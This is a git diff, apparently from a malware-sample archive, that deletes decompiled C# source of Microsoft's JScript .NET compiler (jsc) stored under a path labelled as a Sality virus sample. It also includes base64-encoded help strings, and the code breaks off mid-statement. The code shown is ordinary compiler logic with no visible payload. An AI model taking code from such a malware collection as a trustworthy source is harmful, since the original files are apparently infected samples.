aUF1dG9tYXRpY2FsbHkgcmVmZXJlbmNlIGFzc2VtYmxpZXMgYmFzZWQgb24gaW1wb3J0ZWQgbmFtZXNwYWNlcyBhbmQgZnVsbHktcXVhbGlmaWVkIG5hbWVzIChvbiBieSBkZWZhdWx0KQ== - - - IlNwZWNpZnkgbmFtZSBvZiBiaW5hcnkgb3V0cHV0IGZpbGU= - - - OlNwZWNpZnkgYWRkaXRpb25hbCBkaXJlY3RvcmllcyB0byBzZWFyY2ggaW4gZm9yIHJlZmVyZW5jZXM= - - - GFRyZWF0IHdhcm5pbmdzIGFzIGVycm9ycw== - - - GE5vIGRlc2NyaXB0aW9uIGF2YWlsYWJsZQ== - - - GUNyZWF0ZSBhIGxpYnJhcnkgYXNzZW1ibHk= - - - Ey0gQ09ERSBHRU5FUkFUSU9OIC0= - - - OmpzYyBbb3B0aW9uc10gPHNvdXJjZSBmaWxlcz4gW1tvcHRpb25zXSA8c291cmNlIGZpbGVzPi4uLl0= - - - Q0NvcHlyaWdodCAoQykgTWljcm9zb2Z0IENvcnBvcmF0aW9uIDE5OTYtMjAwMi4gQWxsIHJpZ2h0cyByZXNlcnZlZC4= - - - LGZvciBNaWNyb3NvZnQgKFIpIC5ORVQgRnJhbWV3b3JrIHZlcnNpb24gezB9 - - - L01pY3Jvc29mdCAoUikgSlNjcmlwdCAuTkVUIENvbXBpbGVyIHZlcnNpb24gezB9 - - - KERvIG5vdCBkaXNwbGF5IGNvbXBpbGVyIGNvcHlyaWdodCBiYW5uZXI= - - - KERlZmluZSBjb25kaXRpb25hbCBjb21waWxhdGlvbiBzeW1ib2wocyk= - - - JENvbXBpbGluZyBzb3VyY2UgZmlsZTs7Q29tcGlsaW5nIHswfQ== - - - ES0gTUlTQ0VMTEFORU9VUyAt - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/JScriptCompiler.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/JScriptCompiler.cs deleted file mode 100644 index f2dcf7ee..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/JScriptCompiler.cs +++ /dev/null @@ -1,946 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: JScriptCompiler -// Assembly: jsc, Version=7.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: 64FE9439-6D79-4C3B-BBDD-9D73A741F992 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48.exe - -using Microsoft.JScript; -using Microsoft.JScript.Vsa; -using Microsoft.Vsa; -using System; -using System.Collections; -using System.Collections.Specialized; -using System.Globalization; -using System.IO; -using System.Reflection.Emit; -using System.Resources; -using System.Text; -using System.Text.RegularExpressions; - -internal class JScriptCompiler : MarshalByRefObject -{ - private bool fPrintBanner; - private bool fBannerPrinted; - private bool fPrintTargets; - private int exitCode; - private bool fHelp; - private bool fUtf8Output; - private ArrayList targets; - private CompilerOptions currentTarget; - private int codeItemCounter = 0; - internal static readonly string ContextStringDelimiter = ";;"; - private static int LCID = CultureInfo.CurrentUICulture.LCID; - private static readonly ResourceManager resourceManager = new ResourceManager("JSC", typeof (JScriptCompiler).Module.Assembly); - - public int Run(string[] args) - { - this.exitCode = 0; - try - { - this.fPrintBanner = true; - this.fBannerPrinted = false; - this.fPrintTargets = false; - this.fHelp = false; - this.fUtf8Output = false; - this.targets = new ArrayList(); - this.currentTarget = (CompilerOptions) null; - if (args.Length == 0) - { - this.PrintUsage(); - return 0; - } - this.ParseArguments(args, false); - if (this.fUtf8Output) - Console.SetOut(TextWriter.Synchronized((TextWriter) new StreamWriter(Console.OpenStandardOutput(), (Encoding) new UTF8Encoding(false)) - { - AutoFlush = true - })); - if (this.fHelp) - { - this.PrintUsage(); - return 0; - } - foreach (CompilerOptions target in this.targets) - { - if (target.SourceFileNames.Count == 0) - throw new CmdLineException(CmdLineError.NoInputSourcesSpecified, JScriptCompiler.GetCultureInfo()); - } - if (this.targets.Count > 1) - this.fPrintTargets = true; - this.PrintBanner(); - foreach (CompilerOptions target in this.targets) - { - if (!target.fForceCodepage) - target.codepage = JScriptCompiler.GetCultureInfo().TextInfo.ANSICodePage; - if (target.strOutputFileName == null) - { - string withoutExtension = Path.GetFileNameWithoutExtension((string) target.SourceFileNames[0]); - target.strOutputFileName = withoutExtension + (target.PEFileKind == PEFileKinds.Dll ? ".dll" : ".exe"); - } - if (!this.Compile(target)) - this.exitCode = 10; - } - } - catch (CmdLineException ex) - { - this.PrintBanner(); - Console.WriteLine(ex.Message); - this.exitCode = 10; - } - catch (Exception ex) - { - this.PrintBanner(); - Console.WriteLine("fatal error JS2999: " + ex.Message); - this.exitCode = 10; - } - return this.exitCode; - } - - private void ParseArguments(string[] args, bool fromResponseFile) - { - int start = 0; - while (start < args.Length) - { - if (this.currentTarget == null) - this.currentTarget = new CompilerOptions(); - int options = this.ParseOptions(args, start, fromResponseFile); - start = this.ParseSources(args, options); - if (!fromResponseFile || start < args.Length - 1) - { - this.targets.Add((object) this.currentTarget); - this.currentTarget = (CompilerOptions) null; - } - } - } - - private int ParseOptions(string[] args, int start, bool fromResponseFile) - { - int options; - for (options = start; options < args.Length; ++options) - { - string str1 = args[options]; - if (str1 != null && str1.Length != 0) - { - if ('@' == str1[0]) - { - if (fromResponseFile) - throw new CmdLineException(CmdLineError.NestedResponseFiles, JScriptCompiler.GetCultureInfo()); - string str2 = str1.Substring(1); - if (str2.Length == 0) - throw new CmdLineException(CmdLineError.NoFileName, args[options], JScriptCompiler.GetCultureInfo()); - string[] args1 = File.Exists(str2) ? this.ReadResponseFile(str2) : throw new CmdLineException(CmdLineError.SourceNotFound, str2, JScriptCompiler.GetCultureInfo()); - if (args1 != null) - this.ParseArguments(args1, true); - } - else - { - if ('-' == str1[0] || '/' == str1[0]) - { - string option = str1.Substring(1); - if (option.Length >= 1) - { - switch (option[0]) - { - case '?': - case 'H': - case 'h': - if (CmdLineOptionParser.IsSimpleOption(option, "?") || CmdLineOptionParser.IsSimpleOption(option, "help")) - { - this.fHelp = true; - continue; - } - break; - case 'A': - case 'a': - object obj1 = CmdLineOptionParser.IsBooleanOption(option, "autoref"); - if (obj1 != null) - { - if ((bool) obj1) - { - this.currentTarget.autoRef = true; - this.currentTarget.autoRefSetExplicitly = true; - continue; - } - this.currentTarget.autoRef = false; - continue; - } - object obj2 = (object) CmdLineOptionParser.IsArgumentOption(option, "a.version", "assembly.version"); - if (obj2 != null) - { - if (((string) obj2).Length == 0) - throw new CmdLineException(CmdLineError.MissingVersionInfo, JScriptCompiler.GetCultureInfo()); - try - { - this.currentTarget.versionInfo = new Version((string) obj2); - continue; - } - catch (Exception ex) - { - throw new CmdLineException(CmdLineError.InvalidVersion, (string) obj2, JScriptCompiler.GetCultureInfo()); - } - } - else - break; - case 'C': - case 'c': - object obj3 = (object) CmdLineOptionParser.IsArgumentOption(option, "codepage"); - if (obj3 != null) - { - if (((string) obj3).Length == 0) - throw new CmdLineException(CmdLineError.NoCodePage, args[options], JScriptCompiler.GetCultureInfo()); - try - { - this.currentTarget.codepage = int.Parse((string) obj3, (IFormatProvider) CultureInfo.InvariantCulture); - this.currentTarget.fForceCodepage = true; - continue; - } - catch (Exception ex) - { - throw new CmdLineException(CmdLineError.InvalidCodePage, (string) obj3, JScriptCompiler.GetCultureInfo()); - } - } - else - break; - case 'D': - case 'd': - object obj4 = CmdLineOptionParser.IsBooleanOption(option, "debug"); - if (obj4 != null) - { - this.currentTarget.fDebug = (bool) obj4; - continue; - } - object definitionList = (object) CmdLineOptionParser.IsArgumentOption(option, "d", "define"); - if (definitionList != null) - { - IDictionaryEnumerator enumerator = this.GetAllDefines((string) definitionList).GetEnumerator(); - try - { - while (enumerator.MoveNext()) - { - DictionaryEntry current = (DictionaryEntry) enumerator.Current; - this.currentTarget.Defines[current.Key] = current.Value; - } - continue; - } - finally - { - if (enumerator is IDisposable disposable) - disposable.Dispose(); - } - } - else - break; - case 'F': - case 'f': - object obj5 = CmdLineOptionParser.IsBooleanOption(option, "fast"); - if (obj5 != null) - { - this.currentTarget.fFast = (bool) obj5; - continue; - } - break; - case 'L': - case 'l': - object obj6 = (object) CmdLineOptionParser.IsArgumentOption(option, "lcid"); - if (obj6 != null) - { - if (((string) obj6).Length == 0) - throw new CmdLineException(CmdLineError.NoLocaleID, args[options], JScriptCompiler.GetCultureInfo()); - try - { - int culture = int.Parse((string) obj6, (IFormatProvider) CultureInfo.InvariantCulture); - CultureInfo cultureInfo = new CultureInfo(culture); - JScriptCompiler.LCID = culture; - continue; - } - catch (Exception ex) - { - throw new CmdLineException(CmdLineError.InvalidLocaleID, (string) obj6, JScriptCompiler.GetCultureInfo()); - } - } - else - { - object obj7 = (object) CmdLineOptionParser.IsArgumentOption(option, "lib"); - if (obj7 != null) - { - string str3 = (string) obj7; - if (str3.Length == 0) - throw new CmdLineException(CmdLineError.MissingLibArgument, JScriptCompiler.GetCultureInfo()); - this.currentTarget.libpath = str3.Replace(',', Path.PathSeparator) + (object) Path.PathSeparator + this.currentTarget.libpath; - continue; - } - object resinfo = (object) CmdLineOptionParser.IsArgumentOption(option, "linkres", "linkresource"); - if (resinfo != null) - { - this.AddResourceFile(new ResInfo((string) resinfo, true)); - continue; - } - break; - } - case 'N': - case 'n': - if (CmdLineOptionParser.IsSimpleOption(option, "nologo")) - { - this.fPrintBanner = false; - continue; - } - object obj8 = CmdLineOptionParser.IsBooleanOption(option, "nostdlib"); - if (obj8 != null) - { - this.currentTarget.fNoStdlib = (bool) obj8; - if ((bool) obj8 && !this.currentTarget.autoRefSetExplicitly) - { - this.currentTarget.autoRef = false; - continue; - } - continue; - } - break; - case 'O': - case 'o': - object path1 = (object) CmdLineOptionParser.IsArgumentOption(option, "out"); - if (path1 != null) - { - try - { - if (Path.GetFileName((string) path1) == "") - throw new CmdLineException(CmdLineError.NoFileName, args[options], JScriptCompiler.GetCultureInfo()); - } - catch (ArgumentException ex) - { - throw new CmdLineException(CmdLineError.NoFileName, args[options], JScriptCompiler.GetCultureInfo()); - } - if (Path.GetExtension((string) path1) == "") - throw new CmdLineException(CmdLineError.MissingExtension, args[options], JScriptCompiler.GetCultureInfo()); - this.currentTarget.strOutputFileName = this.currentTarget.strOutputFileName == null ? (string) path1 : throw new CmdLineException(CmdLineError.MultipleOutputNames, JScriptCompiler.GetCultureInfo()); - continue; - } - break; - case 'P': - case 'p': - object obj9 = CmdLineOptionParser.IsBooleanOption(option, "print"); - if (obj9 != null) - { - this.currentTarget.fPrint = (bool) obj9; - this.currentTarget.fPrintSetExplicitly = (bool) obj9; - continue; - } - break; - case 'R': - case 'r': - object fileList = (object) CmdLineOptionParser.IsArgumentOption(option, "r", "reference"); - if (fileList != null) - { - StringEnumerator stringEnumerator = ((string) fileList).Length != 0 ? this.GetAllReferences((string) fileList).GetEnumerator() : throw new CmdLineException(CmdLineError.NoFileName, args[options], JScriptCompiler.GetCultureInfo()); - try - { - while (stringEnumerator.MoveNext()) - { - string current = stringEnumerator.Current; - bool flag = false; - foreach (string importFileName in this.currentTarget.ImportFileNames) - { - if (string.Compare(importFileName, current, true, CultureInfo.InvariantCulture) == 0) - { - flag = true; - break; - } - } - if (!flag) - this.currentTarget.ImportFileNames.Add((object) current); - } - continue; - } - finally - { - if (stringEnumerator is IDisposable disposable) - disposable.Dispose(); - } - } - else - { - object resinfo = (object) CmdLineOptionParser.IsArgumentOption(option, "res", "resource"); - if (resinfo != null) - { - this.AddResourceFile(new ResInfo((string) resinfo, false)); - continue; - } - break; - } - case 'T': - case 't': - object obj10 = (object) CmdLineOptionParser.IsArgumentOption(option, "t", "target"); - if (obj10 != null) - { - if (this.currentTarget.fTargetSpecified) - throw new CmdLineException(CmdLineError.MultipleTargets, JScriptCompiler.GetCultureInfo()); - if (string.Compare((string) obj10, "exe", true, CultureInfo.InvariantCulture) == 0) - { - this.currentTarget.fTargetSpecified = true; - this.currentTarget.PEFileKind = PEFileKinds.ConsoleApplication; - continue; - } - if (string.Compare((string) obj10, "winexe", true, CultureInfo.InvariantCulture) == 0) - { - this.currentTarget.fTargetSpecified = true; - this.currentTarget.PEFileKind = PEFileKinds.WindowApplication; - this.currentTarget.fPrint = this.currentTarget.fPrintSetExplicitly; - continue; - } - if (string.Compare((string) obj10, "library", true, CultureInfo.InvariantCulture) != 0) - throw new CmdLineException(CmdLineError.InvalidTarget, (string) obj10, JScriptCompiler.GetCultureInfo()); - this.currentTarget.fTargetSpecified = true; - this.currentTarget.PEFileKind = PEFileKinds.Dll; - continue; - } - break; - case 'U': - case 'u': - object obj11 = CmdLineOptionParser.IsBooleanOption(option, "utf8output"); - if (obj11 != null) - { - this.fUtf8Output = (bool) obj11; - continue; - } - break; - case 'V': - case 'v': - object obj12 = CmdLineOptionParser.IsBooleanOption(option, "VersionSafe"); - if (obj12 != null) - { - this.currentTarget.fVersionSafe = (bool) obj12; - continue; - } - break; - case 'W': - case 'w': - object obj13 = (object) CmdLineOptionParser.IsArgumentOption(option, "w", "warn"); - if (obj13 != null) - { - if (((string) obj13).Length == 0) - throw new CmdLineException(CmdLineError.NoWarningLevel, args[options], JScriptCompiler.GetCultureInfo()); - if (1 == ((string) obj13).Length) - { - switch (((string) obj13)[0]) - { - case '0': - this.currentTarget.nWarningLevel = 0; - continue; - case '1': - this.currentTarget.nWarningLevel = 1; - continue; - case '2': - this.currentTarget.nWarningLevel = 2; - continue; - case '3': - this.currentTarget.nWarningLevel = 3; - continue; - case '4': - this.currentTarget.nWarningLevel = 4; - continue; - } - } - throw new CmdLineException(CmdLineError.InvalidWarningLevel, args[options], JScriptCompiler.GetCultureInfo()); - } - object obj14 = CmdLineOptionParser.IsBooleanOption(option, "warnaserror"); - if (obj14 != null) - { - this.currentTarget.fTreatWarningsAsErrors = (bool) obj14; - continue; - } - object obj15 = (object) CmdLineOptionParser.IsArgumentOption(option, "win32res"); - if (obj15 != null) - { - string path2 = (string) obj15; - if (path2.Length == 0) - throw new CmdLineException(CmdLineError.NoFileName, args[options], JScriptCompiler.GetCultureInfo()); - if (!File.Exists(path2)) - throw new CmdLineException(CmdLineError.ResourceNotFound, args[options], JScriptCompiler.GetCultureInfo()); - this.currentTarget.Win32Resource = this.currentTarget.Win32Resource == null ? path2 : throw new CmdLineException(CmdLineError.MultipleWin32Resources, JScriptCompiler.GetCultureInfo()); - continue; - } - break; - } - } - throw new CmdLineException(CmdLineError.UnknownOption, args[options], JScriptCompiler.GetCultureInfo()); - } - break; - } - } - } - return options; - } - - private int ParseSources(string[] args, int start) - { - int sources; - for (sources = start; sources < args.Length; ++sources) - { - if (args[sources].Length != 0) - { - if ('-' != args[sources][0]) - { - if ('/' != args[sources][0]) - { - try - { - if (Path.GetFileName(args[sources]) == "") - throw new CmdLineException(CmdLineError.InvalidSourceFile, args[sources], JScriptCompiler.GetCultureInfo()); - } - catch (ArgumentException ex) - { - throw new CmdLineException(CmdLineError.InvalidSourceFile, args[sources], JScriptCompiler.GetCultureInfo()); - } - foreach (string importFileName in this.currentTarget.ImportFileNames) - { - if (string.Compare(importFileName, args[sources], true, CultureInfo.InvariantCulture) == 0) - throw new CmdLineException(CmdLineError.DuplicateFileAsSourceAndAssembly, args[sources], JScriptCompiler.GetCultureInfo()); - } - foreach (string sourceFileName in this.currentTarget.SourceFileNames) - { - if (string.Compare(sourceFileName, args[sources], true, CultureInfo.InvariantCulture) == 0) - throw new CmdLineException(CmdLineError.DuplicateSourceFile, args[sources], JScriptCompiler.GetCultureInfo()); - } - this.currentTarget.SourceFileNames.Add((object) args[sources]); - } - else - break; - } - else - break; - } - } - return sources; - } - - private bool Compile(CompilerOptions options) - { - if (this.fPrintTargets) - Console.WriteLine(JScriptCompiler.Localize("Compiling", options.strOutputFileName)); - VsaEngine engine = new VsaEngine(); - if (engine == null) - throw new CmdLineException(CmdLineError.CannotCreateEngine, JScriptCompiler.GetCultureInfo()); - engine.InitVsaEngine("JSC://Microsoft.JScript.Vsa.VsaEngine", (IVsaSite) new EngineSite(options)); - ((BaseVsaEngine) engine).LCID = JScriptCompiler.LCID; - ((BaseVsaEngine) engine).GenerateDebugInfo = options.fDebug; - ((BaseVsaEngine) engine).SetOption("AutoRef", (object) options.autoRef); - ((BaseVsaEngine) engine).SetOption("fast", (object) options.fFast); - ((BaseVsaEngine) engine).SetOption("output", (object) options.strOutputFileName); - ((BaseVsaEngine) engine).SetOption("PEFileKind", (object) options.PEFileKind); - ((BaseVsaEngine) engine).SetOption("print", (object) options.fPrint); - ((BaseVsaEngine) engine).SetOption("libpath", (object) options.libpath); - if (options.versionInfo != (Version) null) - ((BaseVsaEngine) engine).SetOption("version", (object) options.versionInfo); - ((BaseVsaEngine) engine).SetOption("VersionSafe", (object) options.fVersionSafe); - ((BaseVsaEngine) engine).SetOption("defines", (object) options.Defines); - ((BaseVsaEngine) engine).SetOption("warnaserror", (object) options.fTreatWarningsAsErrors); - ((BaseVsaEngine) engine).SetOption("WarningLevel", (object) options.nWarningLevel); - if (options.Win32Resource != null) - ((BaseVsaEngine) engine).SetOption("win32resource", (object) options.Win32Resource); - if (options.ManagedResources.Count > 0) - ((BaseVsaEngine) engine).SetOption("managedResources", (object) options.ManagedResources.Values); - bool flag1 = false; - bool flag2 = false; - foreach (string importFileName in options.ImportFileNames) - { - this.AddAssemblyReference((IVsaEngine) engine, importFileName); - string fileName = Path.GetFileName(importFileName); - if (string.Compare(fileName, "mscorlib.dll", true, CultureInfo.InvariantCulture) == 0) - flag1 = true; - else if (string.Compare(fileName, "System.Windows.Forms.dll", true, CultureInfo.InvariantCulture) == 0) - flag2 = true; - } - if (!options.fNoStdlib && !flag1) - this.AddAssemblyReference((IVsaEngine) engine, "mscorlib.dll"); - if (options.PEFileKind == PEFileKinds.WindowApplication && !options.fNoStdlib && !flag2) - this.AddAssemblyReference((IVsaEngine) engine, "System.Windows.Forms.dll"); - for (int index = 0; index < options.SourceFileNames.Count; ++index) - this.AddSourceFile((IVsaEngine) engine, (string) options.SourceFileNames[index], options.codepage, options.fForceCodepage); - try - { - return ((BaseVsaEngine) engine).Compile(); - } - catch (VsaException ex) - { - if (ex.ErrorCode == -2146226172) - { - if (((Exception) ex).InnerException != null && ((Exception) ex).InnerException is BadImageFormatException) - Console.WriteLine(new CmdLineException(CmdLineError.InvalidAssembly, ((Exception) ex).Message, JScriptCompiler.GetCultureInfo()).Message); - else if (((Exception) ex).InnerException != null && (((Exception) ex).InnerException is FileNotFoundException || ((Exception) ex).InnerException is FileLoadException)) - Console.WriteLine(new CmdLineException(CmdLineError.AssemblyNotFound, ((Exception) ex).Message, JScriptCompiler.GetCultureInfo()).Message); - else - Console.WriteLine(new CmdLineException(CmdLineError.InvalidAssembly, JScriptCompiler.GetCultureInfo()).Message); - } - else if (ex.ErrorCode == -2146226123) - Console.WriteLine(new CmdLineException(CmdLineError.ErrorSavingCompiledState, ((Exception) ex).Message, JScriptCompiler.GetCultureInfo()).Message); - else if (ex.ErrorCode == -2146226171 && ((Exception) ex).InnerException != null) - { - Console.WriteLine(new CmdLineException(CmdLineError.InvalidCharacters, ((Exception) ex).Message, JScriptCompiler.GetCultureInfo()).Message); - } - else - { - Console.WriteLine(JScriptCompiler.Localize("INTERNAL COMPILER ERROR")); - Console.WriteLine((object) ex); - } - return false; - } - catch (Exception ex) - { - Console.WriteLine(JScriptCompiler.Localize("INTERNAL COMPILER ERROR")); - Console.WriteLine((object) ex); - return false; - } - } - - private void AddAssemblyReference(IVsaEngine engine, string fileName) => ((IVsaReferenceItem) engine.Items.CreateItem(fileName, (VsaItemType) 0, (VsaItemFlag) 0)).AssemblyName = fileName; - - private void AddSourceFile( - IVsaEngine engine, - string fileName, - int codepage, - bool fForceCodepage) - { - string str = "$SourceFile_" + (object) this.codeItemCounter++; - IVsaCodeItem ivsaCodeItem = (IVsaCodeItem) engine.Items.CreateItem(str, (VsaItemType) 2, (VsaItemFlag) 0); - ((IVsaItem) ivsaCodeItem).SetOption("codebase", (object) fileName); - ivsaCodeItem.SourceText = this.ReadFile(fileName, codepage, fForceCodepage); - } - - private void AddResourceFile(ResInfo resinfo) - { - if (!File.Exists(resinfo.fullpath)) - throw new CmdLineException(CmdLineError.ManagedResourceNotFound, resinfo.filename, JScriptCompiler.GetCultureInfo()); - if (this.currentTarget.ManagedResourceFileNames[(object) resinfo.fullpath] != null) - throw new CmdLineException(CmdLineError.DuplicateResourceFile, resinfo.filename, JScriptCompiler.GetCultureInfo()); - if (this.currentTarget.ManagedResources[(object) resinfo.name] != null) - throw new CmdLineException(CmdLineError.DuplicateResourceName, resinfo.name, JScriptCompiler.GetCultureInfo()); - this.currentTarget.ManagedResources[(object) resinfo.name] = (object) resinfo; - this.currentTarget.ManagedResourceFileNames[(object) resinfo.fullpath] = (object) resinfo; - } - - internal void PrintBanner() => this.PrintBanner((CultureInfo) null); - - internal void PrintBanner(CultureInfo culture) - { - if (this.fBannerPrinted || !this.fPrintBanner) - return; - string str1 = 7.ToString() + "." + 10.ToString((IFormatProvider) CultureInfo.InvariantCulture).PadLeft(2, '0') + "." + 3052.ToString((IFormatProvider) CultureInfo.InvariantCulture).PadLeft(4, '0'); - Version version = Environment.Version; - object[] objArray1 = new object[5] - { - (object) version.Major, - (object) ".", - null, - null, - null - }; - object[] objArray2 = objArray1; - int num = version.Minor; - string str2 = num.ToString((IFormatProvider) CultureInfo.InvariantCulture); - objArray2[2] = (object) str2; - objArray1[3] = (object) "."; - object[] objArray3 = objArray1; - num = version.Build; - string str3 = num.ToString((IFormatProvider) CultureInfo.InvariantCulture).PadLeft(4, '0'); - objArray3[4] = (object) str3; - string str4 = string.Concat(objArray1); - this.fBannerPrinted = true; - Console.WriteLine(string.Format(JScriptCompiler.Localize("Banner line 1", culture), (object) str1)); - Console.WriteLine(string.Format(JScriptCompiler.Localize("Banner line 2", culture), (object) str4)); - Console.WriteLine(JScriptCompiler.Localize("Banner line 3", culture) + "\r\n"); - } - - internal void PrintUsage() - { - CultureInfo cultureInfo = JScriptCompiler.GetCultureInfo(); - this.PrintBanner(cultureInfo); - Console.WriteLine(JScriptCompiler.Localize("Usage format", cultureInfo)); - Console.WriteLine(); - Console.Write(" "); - Console.WriteLine(JScriptCompiler.Localize("Usage options", cultureInfo)); - Console.WriteLine(""); - Console.Write(" "); - Console.WriteLine(JScriptCompiler.Localize("Output Files", cultureInfo)); - Console.Write(" /out: "); - Console.WriteLine(JScriptCompiler.Localize("Usage /out", cultureInfo)); - Console.Write(" /t[arget]:exe "); - Console.WriteLine(JScriptCompiler.Localize("Usage /t:exe", cultureInfo)); - Console.Write(" /t[arget]:winexe "); - Console.WriteLine(JScriptCompiler.Localize("Usage /t:winexe", cultureInfo)); - Console.Write(" /t[arget]:library "); - Console.WriteLine(JScriptCompiler.Localize("Usage /t:library", cultureInfo)); - Console.WriteLine(); - Console.Write(" "); - Console.WriteLine(JScriptCompiler.Localize("Input Files", cultureInfo)); - Console.Write(" /autoref[+|-] "); - Console.WriteLine(JScriptCompiler.Localize("Usage /autoref", cultureInfo)); - Console.Write(" /lib: "); - Console.WriteLine(JScriptCompiler.Localize("Usage /lib", cultureInfo)); - Console.Write(" /r[eference]: "); - Console.WriteLine(JScriptCompiler.Localize("Usage /reference", cultureInfo)); - Console.Write(" "); - Console.WriteLine(": [;...]"); - Console.WriteLine(); - Console.Write(" "); - Console.WriteLine(JScriptCompiler.Localize("Resources", cultureInfo)); - Console.Write(" /win32res: "); - Console.WriteLine(JScriptCompiler.Localize("Usage /win32res", cultureInfo)); - Console.Write(" /res[ource]: "); - Console.WriteLine(JScriptCompiler.Localize("Usage /resource", cultureInfo)); - Console.WriteLine(" : [,[,public|private]]"); - Console.Write(" /linkres[ource]: "); - Console.WriteLine(JScriptCompiler.Localize("Usage /linkresource", cultureInfo)); - Console.WriteLine(" : [,[,public|private]]"); - Console.WriteLine(); - Console.Write(" "); - Console.WriteLine(JScriptCompiler.Localize("Code Generation", cultureInfo)); - Console.Write(" /debug[+|-] "); - Console.WriteLine(JScriptCompiler.Localize("Usage /debug", cultureInfo)); - Console.Write(" /fast[+|-] "); - Console.WriteLine(JScriptCompiler.Localize("Usage /fast", cultureInfo)); - Console.Write(" /warnaserror[+|-] "); - Console.WriteLine(JScriptCompiler.Localize("Usage /warnaserror", cultureInfo)); - Console.Write(" /w[arn]: "); - Console.WriteLine(JScriptCompiler.Localize("Usage /warn", cultureInfo)); - Console.WriteLine(); - Console.Write(" "); - Console.WriteLine(JScriptCompiler.Localize("Miscellaneous", cultureInfo)); - Console.Write(" @ "); - Console.WriteLine(JScriptCompiler.Localize("Usage @file", cultureInfo)); - Console.Write(" /? "); - Console.WriteLine(JScriptCompiler.Localize("Usage /?", cultureInfo)); - Console.Write(" /help "); - Console.WriteLine(JScriptCompiler.Localize("Usage /?", cultureInfo)); - Console.Write(" /d[efine]: "); - Console.WriteLine(JScriptCompiler.Localize("Usage /define", cultureInfo)); - Console.Write(" /nologo "); - Console.WriteLine(JScriptCompiler.Localize("Usage /nologo", cultureInfo)); - Console.Write(" /print[+|-] "); - Console.WriteLine(JScriptCompiler.Localize("Usage /print", cultureInfo)); - Console.WriteLine(); - Console.Write(" "); - Console.WriteLine(JScriptCompiler.Localize("Advanced", cultureInfo)); - Console.Write(" /codepage: "); - Console.WriteLine(JScriptCompiler.Localize("Usage /codepage", cultureInfo)); - Console.Write(" /lcid: "); - Console.WriteLine(JScriptCompiler.Localize("Usage /lcid", cultureInfo)); - Console.Write(" /nostdlib[+|-] "); - Console.WriteLine(JScriptCompiler.Localize("Usage /nostdlib", cultureInfo)); - Console.Write(" /utf8output[+|-] "); - Console.WriteLine(JScriptCompiler.Localize("Usage /utf8output", cultureInfo)); - Console.Write(" /versionsafe[+|-] "); - Console.WriteLine(JScriptCompiler.Localize("Usage /versionsafe", cultureInfo)); - Console.WriteLine(); - } - - internal static void PrintError( - string sourceFile, - int line, - int column, - bool fIsWarning, - int number, - string message) - { - string str = (10000 + (number & (int) ushort.MaxValue)).ToString((IFormatProvider) CultureInfo.InvariantCulture).Substring(1); - if (string.Compare(sourceFile, "no source") != 0) - Console.Write(sourceFile + "(" + (object) line + "," + (object) column + ") : "); - Console.WriteLine((fIsWarning ? "warning JS" : "error JS") + str + ": " + message); - } - - private int GetArgumentSeparatorIndex(string argList, int startIndex) - { - int num1 = argList.IndexOf(",", startIndex); - int num2 = argList.IndexOf(";", startIndex); - return num1 == -1 || num2 != -1 && num1 >= num2 ? num2 : num1; - } - - private Hashtable GetAllDefines(string definitionList) - { - Hashtable definitions = new Hashtable(); - int startIndex = 0; - int argumentSeparatorIndex; - do - { - argumentSeparatorIndex = this.GetArgumentSeparatorIndex(definitionList, startIndex); - this.AddDefinition(argumentSeparatorIndex != -1 ? definitionList.Substring(startIndex, argumentSeparatorIndex - startIndex) : definitionList.Substring(startIndex), definitions); - startIndex = argumentSeparatorIndex + 1; - } - while (argumentSeparatorIndex > -1); - return definitions; - } - - private StringCollection GetAllReferences(string fileList) - { - StringCollection allReferences = new StringCollection(); - int startIndex = 0; - int argumentSeparatorIndex; - do - { - argumentSeparatorIndex = this.GetArgumentSeparatorIndex(fileList, startIndex); - string str = argumentSeparatorIndex != -1 ? fileList.Substring(startIndex, argumentSeparatorIndex - startIndex).Trim() : fileList.Substring(startIndex).Trim(); - if (str.Length == 0) - throw new CmdLineException(CmdLineError.MissingReference, fileList, JScriptCompiler.GetCultureInfo()); - allReferences.Add(str); - startIndex = argumentSeparatorIndex + 1; - } - while (argumentSeparatorIndex > -1); - return allReferences; - } - - private void AddDefinition(string def, Hashtable definitions) - { - int length = def.IndexOf("="); - string str1; - object obj; - if (length == -1) - { - str1 = def.Trim(); - obj = (object) true; - } - else - { - str1 = def.Substring(0, length).Trim(); - string str2 = def.Substring(length + 1).Trim(); - if (string.Compare(str2, "true", true, CultureInfo.InvariantCulture) == 0) - obj = (object) true; - else if (string.Compare(str2, "false", true, CultureInfo.InvariantCulture) == 0) - { - obj = (object) false; - } - else - { - try - { - obj = (object) int.Parse(str2, (IFormatProvider) CultureInfo.InvariantCulture); - } - catch (Exception ex) - { - throw new CmdLineException(CmdLineError.InvalidDefinition, str1, JScriptCompiler.GetCultureInfo()); - } - } - } - if (str1.Length == 0) - throw new CmdLineException(CmdLineError.MissingDefineArgument, JScriptCompiler.GetCultureInfo()); - if (str1[0] == '_' && (str1.CompareTo("_debug") == 0 || str1.CompareTo("_fast") == 0 || str1.CompareTo("_jscript") == 0 || str1.CompareTo("_jscript_build") == 0 || str1.CompareTo("_jscript_version") == 0 || str1.CompareTo("_microsoft") == 0 || str1.CompareTo("_win32") == 0 || str1.CompareTo("_x86") == 0)) - throw new CmdLineException(CmdLineError.CompilerConstant, str1, JScriptCompiler.GetCultureInfo()); - definitions[(object) str1] = obj; - } - - internal string ReadFile(string fileName, int codepage, bool fForceCodepage) - { - FileStream fileStream; - try - { - fileStream = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); - } - catch (ArgumentException ex) - { - throw new CmdLineException(CmdLineError.InvalidCharacters, fileName, JScriptCompiler.GetCultureInfo()); - } - catch (DirectoryNotFoundException ex) - { - throw new CmdLineException(CmdLineError.SourceNotFound, fileName, JScriptCompiler.GetCultureInfo()); - } - catch (FileNotFoundException ex) - { - throw new CmdLineException(CmdLineError.SourceNotFound, fileName, 